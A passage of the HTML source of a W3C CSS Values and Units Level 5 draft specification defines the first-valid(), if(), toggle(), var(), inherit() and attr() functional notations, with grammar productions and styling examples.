id="ref-for-propdef-background-position⑤">background-position: toggle(50px 50px, center);</a> is valid, but background-position: toggle(50px, center) 50px; is not. The <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①①"><whole-value></a> production represents these values. All properties implicitly accept a <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①②"><whole-value></a> as their entire value, just as they accept the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-wide-keywords" id="ref-for-css-wide-keywords">CSS-wide keywords</a> as their entire value. When used as a component value of a function, <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①③"><whole-value></a> also represents any CSS value normally valid as the whole value of the property in which it is used (including additional <whole-value> functions). However, some functions may restrict what a <whole-value> argument can include. <h3 class="heading settled" data-level="7.2" id="first-valid">7.2. Selecting the First Supported Value: the <a class="css" data-link-type="maybe" href="#funcdef-first-valid" id="ref-for-funcdef-first-valid">first-valid()</a> notation<a class="self-link" href="#first-valid"></a></h3> CSS supports progressive enhancement with its forward-compatible parsing: authors can declare the same property multiple times in a style rule, using different values each time, and a CSS UA will automatically use the last one that it understands and throw out the rest. This principle, together with the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports" id="ref-for-at-ruledef-supports①">@supports</a> rule, allows authors to write stylesheets that work well in old and new UAs simultaneously. However, using <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var③">var()</a> (or similar substitution functions that resolve after parsing) thwarts this functionality; CSS UAs must assume any such property is valid at parse-time. The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-first-valid">first-valid()</dfn> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation⑦">functional notation</a> inlines the fallback behavior intrinsic to parsing declarations. Unlike most notations, it can accept any valid or invalid syntax in its arguments, and represents the first value among its arguments that is supported (parsed as valid) by the UA as the whole value of the property it’s used in. <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-first-valid"><<c- nf>first-valid</c-><c- p>()</c->></dfn> = <c- nf>first-valid</c-><c- p>(</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value⑤"><declaration-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-comma" id="ref-for-mult-comma②">#</a> <c- p>)</c-> </pre> If none of the arguments represent a valid value for the property, the property is <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time">invalid at computed-value time</a>. <a class="css" data-link-type="maybe" href="#funcdef-first-valid" id="ref-for-funcdef-first-valid①">first-valid()</a> is a <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①⑥"><whole-value></a>. <a class="self-link" href="#issue-3679a886"></a> Should this have a different name? We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①⑦"><whole-value></a>s as its argument, <a class="css" data-link-type="maybe" href="#funcdef-first-valid" id="ref-for-funcdef-first-valid②">first-valid()</a> is instead defined to take <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value⑥"><declaration-value></a>s because, by definition, it’s intended to be used in cases where its values might be invalid for the declaration it’s in. <declaration-value> imposes no contextual validity constraints on what it matches, unlike <whole-value>. <h3 class="heading settled" data-level="7.3" id="if-notation">7.3. Conditional Value Selection: the <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if①">if()</a> notation<a class="self-link" href="#if-notation"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-if">if()</dfn> notation is an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①">arbitrary substitution function</a> that represents conditional values. Its argument consists of an ordered semi-colon–separated list of statements, each consisting of a condition followed by a colon followed by a value. An <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if②">if()</a> notation represents the value corresponding to the first condition in its argument list to be true; if no condition matches, then the if() notation represents an empty token stream. The <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if④">if()</a> notation syntax is defined as follows: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-if"><a class="production" data-link-type="function" href="#funcdef-if" id="ref-for-funcdef-if⑤"><<c- nf>if</c-><c- p>()</c->></a></dfn> = <c- nf>if</c-><c- p>(</c-> <c- p>[</c-> <a class="production" data-link-type="type" href="#typedef-if-condition" id="ref-for-typedef-if-condition"><if-condition></a> : <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value⑧"><declaration-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt⑤">?</a> <c- p>;</c-> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-zero-plus" id="ref-for-mult-zero-plus③">*</a> <a class="production" data-link-type="type" href="#typedef-if-condition" id="ref-for-typedef-if-condition①"><if-condition></a> : <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value⑨"><declaration-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt⑥">?</a> <c- p>;</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt⑦">?</a> <c- p>)</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-if-condition"><a class="production" data-link-type="type" href="#typedef-if-condition" id="ref-for-typedef-if-condition②"><if-condition></a></dfn> = <a class="production" data-link-type="type" href="#typedef-boolean-expr" id="ref-for-typedef-boolean-expr⑨"><boolean-expr<c- p>[</c-> <if-test> <c- p>]</c->></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨⑦">|</a> else <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-if-test"><a class="production" data-link-type="type" href="#typedef-if-test" id="ref-for-typedef-if-test"><if-test></a></dfn> = <c- nf>supports</c-><c- p>(</c-> <c- p>[</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-conditional-3/#typedef-supports-condition" id="ref-for-typedef-supports-condition"><supports-condition></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨⑧">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-ident" id="ref-for-typedef-ident②"><ident></a> : <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①⓪"><declaration-value></a> <c- p>]</c-> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨⑨">|</a> <c- nf>media</c-><c- p>(</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-media-query" id="ref-for-typedef-media-query"><media-query></a> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪⓪">|</a> <c- nf>style</c-><c- p>(</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-conditional-5/#typedef-style-query" id="ref-for-typedef-style-query"><style-query></a> <c- p>)</c-> </pre> The <dfn class="dfn-paneled css" data-dfn-for="if()" data-dfn-type="value" data-export id="valdef-if-else">else</dfn> keyword represents a condition that is always true. To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="resolve-an-if-function"><a data-link-type="dfn" href="#resolve-an-arbitrary-substitution-function" id="ref-for-resolve-an-arbitrary-substitution-function">resolve an if() function</a></dfn>, return the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①①"><declaration-value></a>? associated with the first <a class="production css" data-link-type="type" href="#typedef-if-condition" id="ref-for-typedef-if-condition③"><if-condition></a> that is true; if none are true, return nothing (an empty token stream). Note: Unlike using <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-3/#at-ruledef-media" id="ref-for-at-ruledef-media①">@media</a>/<a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports" id="ref-for-at-ruledef-supports②">@supports</a>/<a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-5/#at-ruledef-container" id="ref-for-at-ruledef-container②">@container</a> rules, which just ignore their contents when they’re false and let the cascade determine what values otherwise apply, declarations with <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if⑥">if()</a> do not roll back the cascade if the conditions are false; any fallback values must be provided inline. <h3 class="heading settled" data-level="7.4" id="toggle-notation">7.4. Toggling Between Values: the <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle">toggle()</a> notation<a class="self-link" href="#toggle-notation"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-toggle">toggle()</dfn> expression allows descendant elements to cycle over a list of values instead of inheriting the same value. <div class="example" id="example-43c760b5"> <a class="self-link" href="#example-43c760b5"></a> The following example makes <code class="highlight"></code> elements italic in general, but makes them normal if they’re inside something that’s italic: <pre class="highlight">em <c- p>{</c-> <c- k>font-style</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c->italic<c- p>,</c-> normal<c- p>);</c-> <c- p>}</c-></pre> </div> <div class="example" id="example-fa2213e4"> <a class="self-link" href="#example-fa2213e4"></a> The following example cycles markers for nested lists, so that a top level list has <a class="css" data-link-type="maybe" href="https://drafts.csswg.org/css2/#value-def-disc" id="ref-for-value-def-disc">disc</a>-shaped markers, but nested lists use <a class="css" data-link-type="maybe" href="https://drafts.csswg.org/css2/#value-def-circle" id="ref-for-value-def-circle">circle</a>, then <a class="css" data-link-type="maybe" href="https://drafts.csswg.org/css2/#value-def-square" id="ref-for-value-def-square">square</a>, then box, and then repeat through the list of marker shapes, starting again (for the 5th list deep) with disc. <pre class="highlight">ul <c- p>{</c-> <c- k>list-style-type</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c->disc<c- p>,</c-> circle<c- p>,</c-> square<c- p>,</c-> box<c- p>);</c-> <c- p>}</c-></pre> </div> The syntax of the <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle①">toggle()</a> expression is: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-toggle"><a class="production" data-link-type="function" href="#funcdef-toggle" id="ref-for-funcdef-toggle②"><<c- nf>toggle</c-><c- p>()</c->></a></dfn> = <c- nf>toggle</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#whole-value" id="ref-for-whole-value①⑨"><whole-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-comma" id="ref-for-mult-comma③">#</a> <c- p>)</c-> </pre> The <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle③">toggle()</a> notation is a <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value②⓪"><whole-value></a>. However, it is not allowed to be nested, nor may it contain <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②">attr()</a> or <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc③">calc()</a> notations; declarations containing such constructs are invalid. <div class="example" id="example-3166adc3"> <a class="self-link" href="#example-3166adc3"></a> The following <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle④">toggle()</a> examples are all invalid: <pre class="highlight"><c- k>background-position</c-><c- p>:</c-> <c- m>10</c-><c- k>px</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>50</c-><c- k>px</c-><c- p>,</c-> <c- m>100</c-><c- k>px</c-><c- p>);</c-> <c- c>/* toggle() must be the sole value of the property */</c-> list-style-type: <c- nf>toggle</c-><c- p>(</c->disc<c- p>,</c-> <c- m>50</c-><c- k>px</c-><c- p>);</c-> <c- c>/* ''50px'' isn’t a valid value of 'list-style-type' */</c-> </pre> </div> To determine the computed value of <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle⑤">toggle()</a>, first evaluate each argument as if it were the sole value of the property in which toggle() is placed to determine the computed value that each represents, called <var>Cn</var> for the <var>n</var>-th argument to toggle(). Then, compare the property’s <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#inherited-value" id="ref-for-inherited-value">inherited value</a> with each <var>Cn</var>. For the earliest <var>Cn</var> that matches the inherited value, the computed value of toggle() is <var>Cn+1</var>. If the match was the last argument in the list, or there was no match, the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle①⓪">toggle()</a> short-circuits the list. For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle①①">toggle()</a> explicitly looks at the computed value of the parent, so it works even on non-inherited properties. This is similar to the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-cascade-5/#valdef-all-inherit" id="ref-for-valdef-all-inherit">inherit</a> keyword, which works even on non-inherited properties. Note: That the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①①">computed value</a> of a property is an abstract set of values, not a particular serialization <a data-link-type="biblio" href="#biblio-css21" title="Cascading Style Sheets Level 2 Revision 1 (CSS 2.1) Specification">[CSS21]</a>, so comparison between computed values should always be unambiguous and have the expected result. For example, a Level 2 <a class="property css" data-link-type="property" href="https://drafts.csswg.org/css2/#propdef-background-position" id="ref-for-propdef-background-position⑦">background-position</a> computed value is just two offsets, each represented as an absolute length or a percentage, so the declarations <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" id="ref-for-propdef-background-position⑧">background-position: top center</a> and background-position: 50% 0% produce identical computed values. If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict, please <a href="#sotd">provide feedback</a> so we can fix it. If <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle①②">toggle()</a> is used on a <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1">shorthand property</a>, it sets each of its longhands to a toggle() value with arguments corresponding to what the longhand would have received had each of the original toggle() arguments been the sole value of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#shorthand-property" id="ref-for-shorthand-property">shorthand</a>. <div class="example" id="example-4bc8989d"> <a class="self-link" href="#example-4bc8989d"></a> For example, the following shorthand declaration: <pre class="highlight"><c- k>margin</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>1</c-><c- k>px</c-> <c- m>2</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>1</c-><c- k>px</c-> <c- m>5</c-><c- k>px</c-> <c- m>4</c-><c- k>px</c-><c- p>);</c-></pre> is equivalent to the following longhand declarations: <pre class="highlight"><c- k>margin-top</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>1</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>1</c-><c- k>px</c-><c- p>);</c-> <c- k>margin-right</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>2</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>5</c-><c- k>px</c-><c- p>);</c-> <c- k>margin-bottom</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>1</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>);</c-> <c- k>margin-left</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>2</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>5</c-><c- k>px</c-><c- p>);</c-> </pre> Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin, they will cycle between only two values while the left and right margins cycle through three. In other words, the declarations above will yield the same computed values as the longhand declarations below: <pre class="highlight"><c- k>margin-top</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>1</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>);</c-> <c- k>margin-right</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>2</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>5</c-><c- k>px</c-><c- p>);</c-> <c- k>margin-bottom</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>1</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>);</c-> <c- k>margin-left</c-><c- p>:</c-> <c- nf>toggle</c-><c- p>(</c-><c- m>2</c-><c- k>px</c-><c- p>,</c-> <c- m>4</c-><c- k>px</c-><c- p>,</c-> <c- m>5</c-><c- k>px</c-><c- p>);</c-> </pre> which may not be what was intended. </div> <h3 class="heading settled" data-level="7.5" id="var-notation">7.5. Custom Property References: the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var④">var()</a> notation<a class="self-link" href="#var-notation"></a></h3> The <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var⑤">var()</a> notation substitutes the value of a <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property">custom property</a>, see the <a href="https://www.w3.org/TR/css-variables/#using-variables">CSS Custom Properties for Cascading Variables Module</a>. <a data-link-type="biblio" href="#biblio-css-variables" title="CSS Custom Properties for Cascading Variables Module Level 1">[CSS-VARIABLES]</a> <h3 class="heading settled" data-level="7.6" id="inherit-notation">7.6. Inherited Value References: the <a class="css" data-link-type="maybe" href="#funcdef-inherit" id="ref-for-funcdef-inherit">inherit()</a> notation<a class="self-link" href="#inherit-notation"></a></h3> Like the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-cascade-5/#valdef-all-inherit" id="ref-for-valdef-all-inherit①">inherit</a> keyword, the <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-inherit">inherit()</dfn> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation⑧">functional notation</a> resolves to the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①②">computed value</a> of a property on the parent. Rather than resolving to the value of the same property, however, it resolves to the tokenized computed value of the property specified as its first argument. Its second argument, if present, is used as a fallback in case the first argument resolves to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value②">guaranteed-invalid value</a>. <a class="css" data-link-type="maybe" href="#funcdef-inherit" id="ref-for-funcdef-inherit①">inherit()</a> is an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②">arbitrary substitution function</a> whose syntax is defined as: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-inherit"><a class="production" data-link-type="function" href="#funcdef-inherit" id="ref-for-funcdef-inherit②"><<c- nf>inherit</c-><c- p>()</c->></a></dfn> = <c- nf>inherit</c-><c- p>(</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-variables-1/#typedef-custom-property-name" id="ref-for-typedef-custom-property-name"><custom-property-name></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①⑨"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①②"><declaration-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt⑧">?</a> <c- p>)</c-> </pre> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="resolve-an-inherit-function"><a data-link-type="dfn" href="#resolve-an-arbitrary-substitution-function" id="ref-for-resolve-an-arbitrary-substitution-function①">resolve an inherit() function</a></dfn>, return the <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#inherited-value" id="ref-for-inherited-value②">inherited value</a> of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property①">custom property</a> specified by the first argument, and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in <a class="css" data-link-type="maybe" href="#funcdef-inherit" id="ref-for-funcdef-inherit③">inherit()</a>; however because the tokenization of <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①④">computed values</a> is not fully standardized for all CSS properties, this feature is deferred from Level 5. Note that the computed value differs from the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value②">used value</a>, and is not always the resolved value returned by <code class="idl"><a data-link-type="idl" href="https://www.w3.org/TR/cssom-1/#dom-window-getcomputedstyle" id="ref-for-dom-window-getcomputedstyle">getComputedStyle()</a></code>; thus even if inherit(width) were allowed, it would frequently return the keyword <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-auto" id="ref-for-valdef-width-auto">auto</a>, not the used <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value⑦"><length></a>. <h3 class="heading settled" data-level="7.7" id="attr-notation">7.7. Attribute References: the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr③">attr()</a> notation<a class="self-link" href="#attr-notation"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-attr">attr()</dfn> function substitutes the value of an <a data-link-type="dfn" href="https://dom.spec.whatwg.org/#concept-attribute" id="ref-for-concept-attribute">attribute</a> on an <a data-link-type="dfn" href="https://dom.spec.whatwg.org/#concept-element" id="ref-for-concept-element">element</a> into a property, similar to how the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var⑥">var()</a> function substitutes a <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property②">custom property</a> value into a function. <pre class="prod highlight"><c- nf>attr</c-><c- p>()</c-> = <c- nf>attr</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-attr-name" id="ref-for-typedef-attr-name"><attr-name></a> <a class="production" data-link-type="type" href="#typedef-attr-type" id="ref-for-typedef-attr-type"><attr-type></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt⑨">?</a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②⓪"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①③"><declaration-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①⓪">?</a><c- p>)</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-attr-name"><attr-name></dfn> = <c- p>[</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-ident-token" id="ref-for-typedef-ident-token"><ident-token></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①①">?</a> <c- s>'|'</c-> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①②">?</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-ident-token" id="ref-for-typedef-ident-token①"><ident-token></a> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-attr-type"><attr-type></dfn> = <dfn class="dfn-paneled" data-dfn-for="attr()" data-dfn-type="function" data-export data-lt="type()" id="funcdef-attr-type"><c- nf>type</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①③"><syntax></a> <c- p>)</c-></dfn> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪①">|</a> string <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪②">|</a> <a class="production" data-link-type="type" href="#typedef-attr-unit" id="ref-for-typedef-attr-unit"><attr-unit></a> </pre> The <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-attr-unit"><attr-unit></dfn> production matches any <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-css-identifier" id="ref-for-css-css-identifier①">identifier</a> that is an <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#ascii-case-insensitive" id="ref-for-ascii-case-insensitive">ASCII case-insensitive</a> match for the name of a CSS dimension unit, such as <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#px" id="ref-for-px">px</a>, or the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-delim-token" id="ref-for-typedef-delim-token③"><delim-token></a> %. It is not expanded literally here, as the set of units expands over time. The arguments of <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr④">attr()</a> are: <dl> <dt data-md><a class="production css" data-link-type="type" href="#typedef-attr-name" id="ref-for-typedef-attr-name①"><attr-name></a> <dd data-md> Gives the name of the attribute being referenced, similar to <a class="production css" data-link-type="type"><wq-name></a> (from <a data-link-type="biblio" href="#biblio-selectors-3" title="Selectors Level 3">[SELECTORS-3]</a>) but without the possibility of a wildcard prefix. If no namespace is specified (just an identifier is given, like attr(foo)), the null namespace is implied. (This is usually what’s desired, as namespaced attributes are rare. In particular, HTML and SVG do not contain namespaced attributes.) As with <a data-link-type="dfn" href="https://www.w3.org/TR/selectors-4/#attribute-selector" id="ref-for-attribute-selector">attribute selectors</a>, the case-sensitivity of <a class="production css" data-link-type="type" href="#typedef-attr-name" id="ref-for-typedef-attr-name②"><attr-name></a> depends on the document language. Whitespace is not allowed between any of the components of <a class="production css" data-link-type="type" href="#typedef-attr-name" id="ref-for-typedef-attr-name③"><attr-name></a>. If <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr⑤">attr()</a> is used in a property applied to an element, it references the attribute of the given name on that element; if applied to a pseudo-element, the attribute is looked up on the pseudo-element’s <a data-link-type="dfn" href="https://www.w3.org/TR/selectors-4/#originating-element" id="ref-for-originating-element">originating element</a>. <dt data-md><a class="production css" data-link-type="type" href="#typedef-attr-type" id="ref-for-typedef-attr-type①"><attr-type></a> <dd data-md> Specifies how the attribute value is <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar" id="ref-for-css-parse-something-according-to-a-css-grammar④">parsed</a> into a CSS value. If given as a <a class="css" data-link-type="maybe" href="#funcdef-attr-type" id="ref-for-funcdef-attr-type">type()</a> function, the value is parsed according to the <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①④"><syntax></a> argument, and substitutes as the resulting tokens. Values that fail to parse according to the syntax trigger fallback. If given as an <a class="production css" data-link-type="type" href="#typedef-attr-unit" id="ref-for-typedef-attr-unit①"><attr-unit></a> value, the value is first parsed as if type(<number>) was specified, then the resulting numeric value is turned into a dimension with the corresponding unit, or a percentage if % was given. Values that fail to parse as a <number> trigger fallback. If given as the string keyword, or omitted entirely, it causes the attribute’s literal value to be treated as the value of a CSS string, with no CSS parsing performed at all (including CSS escapes, whitespace removal, comments, etc). No value triggers fallback; only the lack of the attribute entirely does. Note: This is different from specifying a syntax of type(*), which still triggers CSS parsing (but with no requirements placed on it beyond that it parse validly), and which substitutes the result of that parsing directly as tokens, rather than as a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value⑥"><string></a> value. <dt data-md><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①④"><declaration-value></a> <dd data-md> Specifies a fallback value for the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr⑥">attr()</a>, which will be substituted instead of the attribute’s value if the attribute is missing or fails to parse as the specified type. If the <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①⑤"><syntax></a> argument is omitted, the fallback defaults to the empty string if omitted; otherwise, it defaults to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value③">guaranteed-invalid value</a> if omitted. </dl> If a property contains one or more <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr⑦">attr()</a> functions, and those functions are syntactically valid, the entire property’s grammar must be assumed to be valid at parse time. It is only syntax-checked at computed-value time, after attr() functions have been <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function①">substituted</a>. <div class="note" role="note"> Note that the default value need not be of the type given. For instance, if the type required of the attribute by the author is <number px>, the default could still be auto, like in <a class="css" data-link-type="propdesc" 